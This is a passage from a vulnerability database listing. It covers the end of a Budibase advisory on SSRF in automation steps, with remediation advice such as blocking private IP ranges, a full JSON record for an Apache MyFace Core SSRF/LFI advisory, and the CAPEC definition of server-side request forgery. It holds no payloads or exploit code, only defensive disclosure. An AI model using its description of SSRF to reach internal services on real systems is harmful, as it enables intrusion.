**Internal services**: Access databases, admin panels, Kubernetes API on private IPs\n\n## Remediation\n\n1. Apply blacklist checks to ALL outbound HTTP requests, including automation steps\n2. Add hardcoded default private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)\n3. Use a centralized HTTP client wrapper instead of direct `fetch()` calls\n4. SSRF protection should be on by default, not opt-in via environment variable",
"id": "GHSA-5fpj-28rv-84r7",
"modified": "2026-08-14T19:18:47Z",
"published": "2026-08-14T19:18:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-5fpj-28rv-84r7"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/releases/tag/3.41.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Budibase: SSRF in Automation Steps - Webhook, Zapier, N8N, Slack, Discord Bypass IP Blacklist"
}
GHSA-5FV6-HXPR-6P55
Vulnerability from github – Published: 2026-09-16 21:32 – Updated: 2026-09-17 21:31Server-Side Request Forgery / Local File Inclusion in Apache MyFace Core.
Older unsupported versions may also be affected.
Users are recommended to upgrade to versions 2.3.12, 2.3-next-M9, 3.0.4, 4.0.4, or 4.1.4, which fix this issue.
{
"affected": [],
"aliases": [
"CVE-2026-68536"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-16T19:17:25Z",
"severity": "CRITICAL"
},
"details": "Server-Side Request Forgery / Local File Inclusion in Apache MyFace Core.\n\nOlder unsupported versions may also be affected.\u00a0\n\nUsers are recommended to upgrade to versions 2.3.12, 2.3-next-M9, 3.0.4, 4.0.4, or 4.1.4, which fix this issue.",
"id": "GHSA-5fv6-hxpr-6p55",
"modified": "2026-09-17T21:31:35Z",
"published": "2026-09-16T21:32:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68536"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/4kwh2dys1sdcm3o4pbk41t2lt9or72qq"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/09/16/13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.